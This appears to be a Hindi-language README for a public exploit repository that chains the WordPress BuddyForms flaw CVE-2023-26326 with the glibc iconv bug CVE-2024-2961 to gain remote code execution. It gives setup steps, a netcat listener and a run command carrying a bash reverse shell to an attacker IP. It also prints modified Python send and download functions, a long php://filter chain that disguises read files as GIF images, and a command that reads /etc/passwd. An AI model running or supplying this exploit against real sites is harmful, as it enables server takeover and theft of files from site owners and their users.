
WordPress BuddyForms प्लगइन में CVE-2023-26326 के लिए एक्सप्लॉइट, जो रिमोट कोड निष्पादन के लिए CVE-2024-2961 का लाभ उठाता है। यह एक्सप्लॉइट php://filter के साथ कमजोरियों को श्रृंखलाबद्ध करके PHP 8+ डीसीरियलाइज़ेशन सीमाओं को बायपास करता है।
यह कार्य मेरे द्वारा, Omar Elshopky, और Nour El Dien Bassiouny द्वारा किया गया था।
इस रिपॉज़िटरी में WordPress BuddyForms प्लगइन (CVE-2023-26326) के लिए एक शोषण शामिल है, जिसे प्रारंभ में Joshua Martinelle द्वारा एडवाइज़री में रिपोर्ट किया गया था। यह शोषण Iconv, set the charset to RCE: Exploiting the glibc to hack the PHP engine ब्लॉग में प्रस्तावित तकनीक का लाभ उठाता है, और इसे @ambionics द्वारा cnext-exploits रिपॉज़िटरी में लागू किया गया था।
मूल रूप से, CVE-2023–26326 को डिसीरियलाइज़ेशन भेद्यता के रूप में शोषित करने के लिए गैजेट चेन की आवश्यकता थी। यह विधि PHP 8+ पर चलने वाली नई WordPress साइटों पर अब व्यवहार्य नहीं है; हालाँकि, CVE-2024-2961](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1) के साथ चेन करके, शोषण phar:// के बजाय php://filter के माध्यम से संभव हो जाता है।
यह शोषण cnext-exploit.py स्क्रिप्ट को संशोधित करके बनाया गया था, जिसमें CVE-2023-26326 के लिए आवश्यक परिवर्तन शामिल किए गए हैं, जैसा कि परिवर्तन विवरण में विस्तृत है।
git clone https://github.com/omarelshopky/exploit_cve-2023-26326_using_cve-2024-2961.git
cd exploit_cve-2023–26326_using_cve-2024-2961
python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txt
<ATTACKER_PORT> पर netcat लिसनर शुरू करें:nc -lvnp <ATTACKER_PORT>
python exploit.py "<TARGET_URL>/wp-admin/admin-ajax.php" 'bash -c "bash -i >& /dev/tcp/<ATTACKER_IP>/<ATTACKER_PORT> 0>&1"'


CVE-2024-2961 शोषण के पीछे का मुख्य विचार बरकरार रखा गया था, लेकिन फ़िल्टर चेन को वेबसाइट पर भेजने और सर्वर से फ़ाइलें डाउनलोड करने के लिए संशोधनों की आवश्यकता थी।
मूल शोषण में, send फ़ंक्शन का उपयोग सर्वर को एक पथ भेजने के लिए किया जाता है:
def send(self, path: str) -> Response:
return self.session.post(self.url, data={"file": path})
WordPress में BuddyForms के साथ, इंटरैक्शन डिफ़ॉल्ट रूप से /wp-admin/admin-ajax.php पर POST अनुरोध के माध्यम से होता है, जहाँ बॉडी डेटा में action=upload_image_from_url&url=<INJECT_POINT>&id=1&accepted_files=image/gif होता है। URL पैरामीटर सर्वर को फ़िल्टर चेन भेजने के लिए इंजेक्शन बिंदु के रूप में कार्य करता है। इसके परिणामस्वरूप send फ़ंक्शन में निम्नलिखित संशोधन हुआ:
def send(self, path: str) -> Response:
return self.session.post(self.url, data={
"action" : "upload_image_from_url",
"url" : urllib.parse.quote_plus(path),
"id" : "1",
"accepted_files" : "image/gif"
})
मूल शोषण में एक download फ़ंक्शन था जो सर्वर से फ़ाइलें डाउनलोड करने के लिए ज़िम्मेदार था। मूल शोषण में उपयोग किए गए download फ़ंक्शन का निम्नलिखित संस्करण है:
def download(self, path: str) -> bytes:
path = f"php://filter/convert.base64-encode/resource={path}"
response = self.send(path)
data = response.re.search(b"File contents: (.*)", flags=re.S).group(1)
return base64.decode(data)
इसे BuddyForms के अनुकूल बनाने के लिए, हम buddyforms_upload_image_from_url फ़ंक्शन का विश्लेषण करते हैं, जो URL से छवियाँ अपलोड करने का कार्य संभालता है। यह file_get_contents का उपयोग करता है, getimagesize() के साथ फ़ाइल प्रकार की जाँच करता है, और फिर सामग्री को wp-content/uploads निर्देशिका के अंतर्गत सहेजता है। यह हमें स्थानीय फ़ाइलों को पढ़ने और उन्हें अपलोड निर्देशिका में सहेजने के लिए php://filter का शोषण करने की अनुमति देता है, जिससे वे URL के माध्यम से सुलभ हो जाती हैं। हालाँकि, हमें फ़ाइल की जाँच को बायपास करने के लिए फ़ाइल सामग्री के आरंभ में GIF89a जोड़कर उसे GIF के रूप में अनुकरण करना होगा। यह फ़िल्टर चेनिंग का उपयोग करके किया जा सकता है, और wrapwrap टूल आवश्यक चेन उत्पन्न कर सकता है:
git clone https://github.com/ambionics/wrapwrap.git
cd wrapwrap
./wrapwrap.py /etc/passwd 'GIF89a' '' 1000

यह उत्पन्न फ़िल्टर चेन मूल स्क्रिप्ट में उपयोग किए गए base64 एन्कोडिंग को प्रतिस्थापित करेगी। इसके अतिरिक्त, प्रतिक्रिया से अपलोड की गई फ़ाइल का पथ निकालने का प्रारूप JSON प्रारूप को समायोजित करने के लिए अद्यतन करने की आवश्यकता है, जिसमें "response" विशेषता फ़ाइल पथ पर सेट होती है।
{"status":"OK","response":"http:\/\/victim.site\/wp-content\/uploads\/2025\/02\/1-106.png","attachment_id":261}
{"status":"FAILED","response":"File type is not allowed."}
ध्यान दें कि शोषण में फ़ाइल सामग्री का उपयोग करने से पहले GIF89a उपसर्ग को हटा दिया जाना चाहिए, जिसके परिणामस्वरूप निम्नलिखित संशोधित download फ़ंक्शन होता है:
def download(self, path: str) -> bytes:
# Append prefix "GIF89a" to bypass file type check with getimagesize()
path = f"php://filter/convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.base64-decode/resource={path}"
response_data = self.send(path).json()
if response_data == "FAILED":
print(f"[-] Unable to download files, error message: {response_data['response']}")
exit(0)
file_path = response_data["response"]
# Remove the prefix "GIF89a"
return self.session.get(file_path).content[6:]
libc.so.6 डाउनलोड करनाकृपया ध्यान दें कि सर्वर से libc.so.6 फ़ाइल डाउनलोड करना फ़िल्टर चेन के साथ सही ढंग से काम नहीं कर सकता है, क्योंकि इस प्रक्रिया के दौरान बाइनरी संशोधित हो जाती है। इसके बजाय, सही फ़ाइल शोषण की रूट निर्देशिका में प्रदान की जानी चाहिए।